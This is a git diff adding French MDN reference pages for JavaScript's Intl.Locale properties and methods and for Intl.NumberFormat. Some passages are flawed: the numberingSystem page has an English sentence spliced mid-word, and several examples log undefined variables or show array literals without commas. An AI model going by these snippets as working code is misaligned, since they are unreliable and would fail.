+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/minimize/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/minimize/index.html new file mode 100644 index 0000000000..57549456bd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/minimize/index.html @@ -0,0 +1,80 @@ +--- +title: Intl.Locale.prototype.minimize() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/minimize +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/minimize +--- +
{{JSRef}}
+ +

La méthode Intl.Locale.prototype.minimize() tente de retirer les informations qui auraient pu être ajoutée à une locale lors d'un appel à {{jsxref("Locale/maximize", "Locale.maximize()")}}. 

+ +

{{EmbedInteractiveExample("pages/js/intl-locale-prototype-minimize.html")}}

+ + + +

Syntaxe

+ +
locale.minimize()
+ +

Valeur de retour

+ +

Une instance {{jsxref("Locale", "Locale")}} dont la propriété baseName renvoie le résultat de l'exécution de l'algorithme de suppression des composantes probables sur locale.baseName. 

+ +

Description

+ +

Cette méthode effectue l'opération inverse de {{jsxref("Locale/maximize", "maximize()")}}, en retirant les fragments de langue/script ou de région qui sont superflus. Ainsi, "en-Latn" pourra être minimisé en "en" car l'anglais s'écrit uniquement à l'aide de l'alphabet latin.

+ +

minimize() ne modifie pas les éventuelles extensions décrites dans la chaîne de locale (après le "-u") ou via l'objet de configuration (elle ne modifie donc pas les valeurs de {{jsxref("Locale/hourCycle", "Locale.hourCycle")}}, {{jsxref("Locale/calendar", "Locale.calendar")}} et {{jsxref("Locale/numeric", "Locale.numeric")}}).

+ +

Exemples

+ +
let maLocale = new Intl.Locale("fr-Latn-FR", {hourCycle: "h24", calendar: "gregory"});
+console.log(maLocale.baseName); // Affiche "fr-Latn-FR"
+console.log(maLocale.toString()); // Affiche "fr-Latn-FR-u-ca-gregory-hc-h24"
+let maLocMinimized = maLocale.minimize();
+
+console.log(maLocMinimized.baseName);
+// Affiche "fr" car le français est écrit uniquement avec l'alphabet latin et
+// parlé le plus largement en France
+
+console.log(maLocMinimized.toString());
+// Affiche "fr-u-ca-gregory-hc-h24". On voit ici que les extensions
+// (décrites après "-u") restent inchangées.
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.minimize()
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Locale.minimize")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Locale", "Intl.Locale")}}
    • +
  • {{jsxref("Locale/baseName", "Intl.Locale.baseName")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/numberingsystem/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/numberingsystem/index.html new file mode 100644 index 0000000000..076b671499 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/numberingsystem/index.html @@ -0,0 +1,425 @@ +--- +title: Intl.Locale.prototype.numberingSystem +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/numberingSystem +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/numberingSystem +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.numberingSystem est une propriété fournie par un accesseur qui renvoie le système de numération utilisée par la locale.

+ +

Description

+ +

Un système de numération est un système qui permet d'exprimer les nombres. La propriété numberingSystem permet de connaître le système de numérati Unicode. A table of the standard Unicode numeral systems can be seen belowon de la locale. Les valeurs qui peuvent être fournies par cette propriété sont standardisées par Unicode.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValeurDescription
adlmChiffres adlams
ahomChiffres ahoms
arabChiffres arabes
arabextChiffres arabes étendus
armnNumération arménienne majuscule (algorithmique)
armnlowNumération arménienne minuscule (algorithmique)
baliChiffres balinais
bengChiffres bengalis
bhksChiffres bhaiksuki
brahChiffres brahmis
cakmChiffres chakmas
chamChiffres chams
cyrlNumération cyrillique (algorithmique)
devaChiffres devanagaris
ethiNumération éthiopienne (algorithmique)
financeNumération financière (peut être algorithmique)
fullwideChiffres à pleine chasse
georNumération géorgienne (algorithmique)
gongChiffres Gunjala Gondis
gonmChiffres Masaram Gondis
grekNumération greque majuscule (algorithmique)
greklowNumération greque minuscule (algorithmique)
gujrChiffres Gujaratis
guruChiffres Gurmukhis
hanidaysNumération du jour du mois avec caractère Han (utilisée avec les calendriers lunaires ou traditionnels)
hanidecSystème décimal positionnel utilisant les idéographes des nombres chinois comme chiffres
hansNumération chinoise simplifiée (algorithmique)
hansfinNumération chinoise simplifiée financière (algorithmique)
hantNumération chinoise traditionnelle (algorithmique)
hantfinNumération chinoise traditionnelle financière (algorithmique)
hebrNumération hébraïque (algorithmique)
hmngChiffres Pahawh Hmongs
hmnpChiffres Nyiakeng Puachue Hmongs
javaChiffres javanais
jpanNumération japonaise (algorithmique)
jpanfinNumération japonaise financière (algorithmique)
jpanyearNumération basée sur la première année Gannen du calendrier japonais
kaliChiffres Kayah Lis
khmrChiffres Khmers
kndaChiffres Kannadas
lanaChiffres Tai Tham Hora séculiers
lanathamChiffres Tai Tham Tham ecclésiastiques
laooChiffres laotien
latnChiffres latins
lepcChiffres Lepchas
limbChiffres Limbus
mathboldChiffres mathématiques en gras
mathdblChiffres mathématiques barrés en double
mathmonoChiffres mathématiques à chasse fixe
mathsanbChiffres mathématiques en gras sans empattements
mathsansChiffres mathématiques sans empattements
mlymChiffres Malayalams
modiChiffres Modis
mongChiffres mongols
mrooChiffres Mros
mteiChiffres Meetei Mayeks
mymrChiffres Myanmars
mymrshanChiffres Myanmar Shans
mymrtlngChiffres Myanmar Tai Laings
nativeChiffres natifs
newaChiffres Newas
nkooChiffres N'Kos
olckChiffres Ol Chikis
oryaChiffres Oriyas
osmaChiffres Osmanyas
rohgChiffres Hanifi Rohingyas
romanNumération romaine majuscule (algorithmique)
romanlowNumération romaine minuscule (algorithmique)
saurChiffres Saurashtras
shrdChiffres Sharadas
sindChiffres Khudawadis
sinhChiffres Sinhala Liths
soraChiffres Sora_Sompengs
sundChiffres soudanais
takrChiffres Takris
taluChiffres New Tai Lues
tamlNumération tamoule (algorithmique=
tamldecChiffres tamouls décimaux modernes
teluChiffres Telugus
thaiChiffres thaïs
tirhChiffres Tirhutas
tibtChiffres tibétains
traditioNumération traditionnelle (peut être algorithmique)
vaiiChiffres Vais
waraChiffres Warang Citis
wchoChiffres Wanchos
+ +

Exemples

+ +

Définir la valeur de numberingSystem grâce à la chaîne décrivant la locale

+ +

D'après la spécification Unicode sur les chaînes décrivant les locales, l'extension décrivant le système de numération est indiquée par la clé nu.

+ +

Le constructeur Intl.locale prend comme premier argument une chaîne de caractères décrivant la locale. Aussi, on peut indiquer le système de numération après les composantes principales de la chaîne de caractères en lui ajoutant un "-u" (indiquant la présence d'une extension), suivi d'un "-nu" (indiquant que l'extension qui sera indiquée décrit le système de numération, suivi de la valeur voulue pour le système de numération.

+ +
let numberingSystemViaStr = new Intl.Locale("fr-Latn-FR-u-nu-mong");
+console.log(numberingSystemStr.numberingSystem);
+// affichera "mong" dans la console
+ +

Définir la valeur de numberingSystem grâce à un objet de configuration

+ +

Le constructeur Intl.Locale possède un deuxième argument, optionnel, qui est un objet permettant de configurer la locale. Les propriétés de cet objet sont utilisées comme extensions pour la locale ; les clés des propriétés sont les noms des extensions et leurs valeurs sont celles utilisées pour chaque extension. On peut donc utiliser la propriété numberingSystem sur cet objet afin de définir le système de numération à utiliser pour cette locale.

+ +
let numberingSystemViaObj= new Intl.Locale("en-Latn-US", {numberingSystem: "latn"});
+console.log(us12hour.numberingSystem);
+// affichera "latn" dans la console
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.numberingSystem")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/numeric/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/numeric/index.html new file mode 100644 index 0000000000..5b3c357b09 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/numeric/index.html @@ -0,0 +1,69 @@ +--- +title: Intl.Locale.prototype.numeric +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/numeric +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/numeric +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.numeric est une propriété fournie par un accesseur et qui indique si la locale possède une collation spécifique pour les caractères numériques (la collation étant la méthode qui permet d'ordonner des chaînes de caractères entre elles).

+ +

Description

+ +

À l'instar de {{jsxref("Locale.caseFirst", "Intl.Locale.caseFirst")}}, numeric représente une modification des règles de collation utilisée par la locale. numeric est un booléen (true ou false). Lorsque cette propriété vaut false, il n'y a pas de gestion particulière des chiffres et si cette propriété vaut true, cela indique que les caractères numériques sont pris en compte lors de la collation des chaînes. Ainsi, les séquences de chiffres décimaux seront comparés comme des nombres. Ainsi, la chaîne de caractères "A-21" sera considérée inférieure à "A-123".

+ +

Exemples

+ +

Définir numeric grâce à la chaîne de description de la locale

+ +

Selon la spécification Unicode sur les chaînes de caractères décrivant les locales, les valeurs de numeric sont associées à la clé kn. Pour utiliser cette clé dans la chaîne de description de la locale (le premier argument de Intl.Locale), après la chaîne de base, on pourra ajouter un suffixe avec "-u" afin d'indiquer la présence d'une extension, puis "-kn" afin de préciser l'extension en question et enfin la valeur souhaitée pour cette extension. Si on veut que numeric soit true, il suffit d'ajouter la clé kn. Pour indiquer la valeur false, il faudra explicitement ajouter "-false".

+ +
let numericViaStr = new Intl.Locale("fr-Latn-FR-u-kn-false");
+console.log(numericStr.numeric);
+// Affichera "false" dans la console
+ +

Définir numeric via l'objet de configuration de l'instance

+ +

Le constructeur Intl.Locale possède un deuxième argument, optionnel, qui est un objet permettant de configurer la locale. Les propriétés de cet objet sont utilisées comme extensions pour la locale ; les clés des propriétés sont les noms des extensions et leurs valeurs sont celles utilisées pour chaque extension. On peut donc utiliser la propriété numeric sur cet objet afin de définir le système de numération à utiliser pour cette locale.

+ +
let numericViaObj= new Intl.Locale("en-Latn-US", {numeric: true});
+console.log(us12hour.numeric);
+// Affichera "true" dans la console
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.numeric")}}
+ +

Voir aussi

+ +
    +
  • {{jsxref("Locale", "Intl.Locale")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/region/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/region/index.html new file mode 100644 index 0000000000..c9af9b9ac3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/region/index.html @@ -0,0 +1,71 @@ +--- +title: Intl.Locale.prototype.region +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/region +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/region +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.region est fournie par un accesseur qui renvoie la région du monde (il s'agit généralement d'un pays) associée à la locale courante.

+ +

Description

+ +

La région est un fragment majeur de l'identifiant de la locale car il situe la locale dans une zone donnée du monde. Connaître la région associée à la locale est crucial pour identifier les différences entre les locales. Ainsi, on parle anglais aux États-Unis et au Royaume-Uni mais il existe certaines différences d'orthographe entre ces pays. Connaître la région d'une locale peut permettre aux développeurs d'adapter leurs sites et applications selon la région depuis laquelle ils sont consultés.

+ +

Exemples

+ +

Définir la région avec la chaîne de caractères décrivant la locale

+ +

La région est la troisième composante d'une chaîne représentant un identifiant de langue Unicode. Cette chaîne de caractères est généralement passée au constructeur {{jsxref("Locale", "Locale")}}.

+ +
let regionStr = new Intl.Locale("en-Latn-US");
+
+console.log(regionStr.region);
+// Affichera "US" dans la console
+ +

Définir la région via l'objet de configuration du constructeur

+ +

Le constructeur {{jsxref("Locale", "Locale")}} prend comme second argument un objet de paramétrage dont chacune des propriétés permet de définir une extension ou une composante de la locale.

+ +
let regionObj = new Intl.Locale("fr-Latn", {region: "FR"});
+
+console.log(regionObj.region);
+// Affichera "FR" dans la console
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.regionProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.region")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/script/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/script/index.html new file mode 100644 index 0000000000..3fed9f8169 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/script/index.html @@ -0,0 +1,68 @@ +--- +title: Intl.Locale.prototype.script +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/script +tags: + - Internationalisation + - Intl + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/script +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.script est fournie via un accesseur et renvoie le script utilisé pour l'écriture d'une langue donnée pour la locale courante.

+ +

Description

+ +

Un script, ou système d'écriture, est l'une des caractéristiques fondamentales d'une locale. Il décrit l'ensemble des symboles (ou glyphes) qui sont utilisés pour écrire dans une langue donnée. Ainsi, le script associé à l'anglais est l'alphabet latin, le script associé au coréen est le Hangul. Dans la plupart des cas, indiquer le script n'est pas strictement nécessaire car une langue ne s'écrit que dans un script donné. Il existe toutefois des exceptions et il est préférable d'indique le script afin d'avoir un identifiant de langue Unicode complet.

+ +

Exemples

+ +

Définir le script via la chaîne de description de la locale

+ +

Le script correspond à la deuxième partie d'un identifiant de langue Unicode valide. On peut donc le définir en passant un tel identifiant au constructeur {{jsxref("Locale", "Locale")}}. Toutefois, cette composante n'est pas obligatoire pour créer une instance de Locale.

+ +
let scriptStr = new Intl.Locale("en-Latn-US");
+
+console.log(scriptStr.script); // Affichera "Latn" dans la console
+ +

Définir le script grâce à l'objet de configuration du constructeur

+ +

Le constructeur {{jsxref("Locale", "Locale")}} permet d'utiliser un objet de configuration dont les propriétés définiront les caractéristiques de la locale :

+ +
let scriptObj = new Intl.Locale("fr-FR", {script: "Latn"});
+
+console.log(scriptObj.script); // Affichera "Latn" dans la console
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.scriptProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.script")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/tostring/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/tostring/index.html new file mode 100644 index 0000000000..723f7cd4b3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/tostring/index.html @@ -0,0 +1,69 @@ +--- +title: Intl.Locale.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/toString +tags: + - Intl + - JavaScript + - Locale + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/toString +--- +
{{JSRef}}
+ +

La méthode Intl.Locale.prototype.toString() renvoie l'identifiant de locale complet pour la locale courante.

+ +

{{EmbedInteractiveExample("pages/js/intl-locale-prototype-tostring.html")}}

+ + + +

Syntaxe

+ +
locale.toString()
+ +

Valeur de retour

+ +

La chaîne de caractères représentant l'identifiant complet de la locale.

+ +

Description

+ +

Une instance de Locale est une représentation JavaScript d'une locale au sens Unicode. Les informations décrivant une locale donnée (la langue, le système d'écriture, le type de calendrier, etc.) peuvent être encodées en une chaîne de caractères qui est l'identifiant de la locale. Lorsqu'on appelle la méthode toString() sur une instance de Locale, on obtiendra l'identifiant complet de la locale.

+ +

Exemples

+ +
let maLocale = new Intl.Locale("fr-Latn-FR", {hourCycle: "h24", calendar: "gregory"});
+console.log(maLocale.baseName); // Affiche "fr-Latn-FR"
+console.log(maLocale.toString()); // Affiche "fr-Latn-FR-u-ca-gregory-hc-h24"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.toString()Proposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Locale.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Locale", "Intl.Locale")}}
    • +
  • {{jsxref("Locale/baseName", "Intl.Locale.baseName")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.html b/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.html new file mode 100644 index 0000000000..201022bd58 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.html @@ -0,0 +1,97 @@ +--- +title: Intl.NumberFormat.prototype.format +slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/format +tags: + - Internationalisation + - Intl + - JavaScript + - NumberFormat + - Propriété + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format +--- +
{{JSRef}}
+ +

La méthode Intl.NumberFormat.prototype.format() formate un nombre en fonction des options de locales et de formats définis dans l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}} correspondant.

+ +
{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-format.html")}}
+ + + +

Syntaxe

+ +
numberFormat.format(nombre)
+ +

Paramètres

+ +
+
nombre
+
Le nombre qu'on souhaite formater.
+
+ +

Description

+ +

La fonction d'accesseur format permet de formater un nombre donné en une chaîne de caractères selon les options de locale et de format de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

+ +

Exemples

+ +

Utiliser format()

+ +

On peut utiliser la fonction renvoyée par format pour formater une valeur monétaire selon la locale russe :

+ +
var options = {style: "currency", currency: "RUB"};
+var numberFormat = new Intl.NumberFormat("ru-RU", options);
+console.log(numberFormat.format(654321.987));
+// → "654 321,99 руб."
+ +

Utiliser format() avec map()

+ +

On peut également utiliser la fonction format pour formater les nombres contenus dans un tableau. On notera que la fonction est liée à l'objet NumberFormat dont elle provient, on peut donc directement l'utiliser avec {{jsxref("Array.prototype.map")}}.

+ +
var a = [123456.789, 987654.321, 456789.123];
+var numberFormat = new Intl.NumberFormat("es-ES");
+var formatted = a.map(numberFormat.format);
+console.log(formatted.join("; "));
+// → "123.456,789; 987.654,321; 456.789,123"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}{{Spec2('ES Int 1.0')}}Définition initiale
{{SpecName('ES Int 2.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.format', 'Intl.NumberFormat.prototype.format')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.NumberFormat.format")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • +
  • {{jsxref("Number.prototype.toLocaleString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.html b/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.html new file mode 100644 index 0000000000..12a78a6a1d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.html @@ -0,0 +1,152 @@ +--- +title: Intl.NumberFormat.prototype.formatToParts() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/formatToParts +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - NumberFormat + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/formatToParts +--- +
{{JSRef}}
+ +

La méthode Intl.Numberformat.prototype.formatToParts() permet de produire des fragments de chaînes à partir d'un nombre pour le mettre en forme avec des formateurs NumberTimeFormat.

+ +

Syntaxe

+ +
Intl.NumberFormat.prototype.formatToParts(nombre)
+ +

Paramètres

+ +
+
nombre {{optional_inline}}
+
Le nombre qu'on souhaite mettre en forme.
+
+ +

Valeur de retour

+ +

Un tableau {{jsxref("Array")}} contenant des objets correspondants aux différents fragments du nombres.

+ +

Description

+ +

La méthode formatToParts() est peut être utilisée lorsqu'on met en forme des chaînes de caractères représentant des valeurs numériques. Cette méthode renvoie un tableau ({{jsxref("Array")}}) d'objets qui sont les différents fragments spécifiques aux locales et qui permettent de construire des chaînes dans un format spécifiques tout en conservant les parties liées à la locale. formatToParts() renvoie une structure analogue à :

+ +
[
+  { type: "integer", value: "3" }
+  { type: "group", value: "." }
+  { type: "integer", value: "500" }
+]
+ +

Les valeurs possibles pour l'attribut type sont :

+ +
+
currency
+
Le suffixe associé à la devise. Ce peut être le symbole "$", "€" ou bien le nom de la devise "Dollar", "Euro" selon la façon dont currencyDisplay  est indiquée.
+
decimal
+
Le séparateur décimal utilisé (".").
+
fraction
+
La partie fractionnaire du nombre.
+
group
+
La chaîne de caractères utilisée pour indiquer un groupe (",").
+
infinity
+
La chaîne de caractères qui représente la valeur {{jsxref("Infinity")}} ("∞").
+
integer
+
La partie entière du nombre.
+
literal
+
Toute chaîne de caractères littérale ou blanc utilisée dans le nombre mis en forme.
+
minusSign
+
La chaîne de caractères utilisée pour le signe moins ("-").
+
nan
+
La chaîne de caractères utilisée pour représenter la valeur {{jsxref("NaN")}} ("NaN").
+
plusSign
+
La chaîne de caractères utilisée pour le signe plus ("+").
+
+ +
+
percentSign
+
La châine de caractères utilisée pour le symbole pourcent ("%").
+
+ +

Exemples

+ +

NumberFormat produit une chaîne localisée opaque qui ne peut pas être manipulée directement :

+ +
var number = 3500;
+
+var formatter = new Intl.NumberFormat('de-DE', {
+  style: 'currency',
+  currency: 'EUR'
+});
+
+formatter.format(number);
+// "3.500,00 €"
+
+ +

Toutefois, pour certaines applications, on souhaite adapter la mise en forme de cette chaîne de caractères. La méthode formatToParts permet d'obtenir cette flexibilité tout en conservant les différents fragments produits par NumberFormat :

+ +
formatter.formatToParts(number);
+
+// return value:
+[
+  { type: "integer",  value: "3"   }
+  { type: "group",    value: "."   }
+  { type: "integer",  value: "500" }
+  { type: "decimal",  value: ","   }
+  { type: "fraction", value: "00"  }
+  { type: "literal",  value: " "   }
+  { type: "currency", value: "€"   }
+]
+
+ +

Maintenant que la chaîne est décomposée, on peut la réassembler d'une façon spécifique. On peut, par exemple utiliser {{jsxref("Array.prototype.map()")}}, une fonction fléchée, une instruction switch, des littéraux de gabarits et {{jsxref("Array.prototype.reduce()")}}.

+ +
var numberString = formatter.formatToParts(number).map(({type, value}) => {
+  switch (type) {
+    case 'currency': return `<strong>${value}</strong>`;
+    default : return value;
+  }
+}).reduce((string, part) => string + part);
+
+ +

Grâce à cette fonction, on pourra mettre en gras le suffixe associé à la devise :

+ +
console.log(numberString);
+// "3.500,00 <strong>€</strong>"
+ +

Prothèse d'émulation (polyfill)

+ +

Une prothèse pour cette fonctionnalité est disponible dans le dépôt associé à la proposition.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.formatToParts', 'Intl.NumberFormat.prototype.formatToParts')}}{{Spec2('ES Int Draft')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.NumberFormat.formatToParts")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • +
  • {{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}
    • +
  • Formater des dates : {{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.html b/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.html new file mode 100644 index 0000000000..2408df724b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.html @@ -0,0 +1,203 @@ +--- +title: Intl.NumberFormat +slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat +tags: + - Internationalisation + - Intl + - JavaScript + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat +--- +
{{JSRef}}
+ +

L'objet Intl.NumberFormat est un constructeur permettant de créer des objets pour formater des nombres en fonction de la locale.

+ +
{{EmbedInteractiveExample("pages/js/intl-numberformat.html")}}
+ + + +

Syntaxe

+ +
new Intl.NumberFormat([locales[, options]])
+Intl.NumberFormat.call(this[, locales[, options]])
+ +

Paramètres

+ +
+
locales
+
+

Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées :

+ +
+
nu
+
Le système numérique à utiliser. Parmi les valeurs possibles, on a : "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".
+
+
+
options
+
+

Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes :

+ +
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}.
+
+
+
+
+
style
+
Le style de formatage. Les valeurs possibles sont "decimal" pour l'affichage de nombres simple, "currency" pour un affichage en fonction de la devise et "percent" pour afficher des pourcentages. La valeur par défaut est "decimal".
+
currency
+
La devise à utiliser pour le formatage. Les valeurs possibles sont les codes ISO 4217 pour les devises, tels que "USD" pour le dollar américain, "EUR" pour l'euro, ou "CNY" pour le yuan chinois. Voir la page listant les codes actuels pour les devises et les fonds (en anglais). Il n'y a pas de valeur par défaut. Si le style choisi avec l'option style est "currency", la propriété currency doit être définie.
+
currencyDisplay
+
La façon d'afficher la devise dans le format courant. Les valeurs possibles sont "symbol" qui permet d'utiliser un symbole localisé comme '€', "code" qui affichera le code ISO de la devise (voir ci-avant), "name"  affichera un nom localisé pour la devise comme "dollar". La valeur par défaut est "symbol".
+
useGrouping
+
Cette option indique si on doit utiliser des séparateurs de groupes (comme les séparateurs de milliers ou autres comme lakhs et crores). Les valeurs possibles sont true et false. La valeur par défaut true.
+
+ +

Les propriétés suivantes peuvent être classées en deux groupes. Dans le premier on aura minimumIntegerDigits, minimumFractionDigits, maximumFractionDigits et dans le second on aura minimumSignificantDigits et maximumSignificantDigits. S'il existe une option définie pour le second groupe, les options du premier groupe seront ignorées.

+ +
+
minimumIntegerDigits
+
Le nombre minimal de chiffres à utiliser pour la partie entière. Les valeurs possibles sont comprises entre 1 to 21. La valeur par défaut est 1.
+
minimumFractionDigits
+
Le nombre minimal de chiffres à utiliser pour la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour les formats "decimal" et "percent", la valeur par défaut est 0. La valeur par défaut pour le formatage monétaire ("currency") correspond au nombre de chiffres défini par la liste de codes de devises ISO 4217, si cette valeur n'est pas définie dans cette liste, on aura 2 chiffres.
+
maximumFractionDigits
+
Le nombre maximal de chiffres à utiliser pour représenter la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour le format "decimal", la valeur par défaut est le maximum entre 3 et minimumFractionDigits. Pour le format monétaire ("currency"), la valeur par défaut est le maximum entre  minimumFractionDigits et le nombre de chiffres prévus par la liste ISO 4217 des codes de devises (ou 2 si cette information n'est pas disponible dans cette liste). Pour le format en pourcent, la valeur par défaut est le maximum entre minimumFractionDigits et 0.
+
minimumSignificantDigits
+
Le nombre minimal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est 1.
+
maximumSignificantDigits
+
Le nombre maximal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est minimumSignificantDigits.
+
+
+
+ +

Description

+ +

Propriétés

+ +
+
{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}
+
Permet d'ajouter des propriétés à toutes les instances.
+
+ +

Méthodes

+ +
+
{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}
+
Renvoie un tableau des locales supportées parmi les locales données afin d'éviter d'utiliser la locale par défaut de l'environnement.
+
+ +

Instances de NumberFormat

+ +

Propriétés

+ +

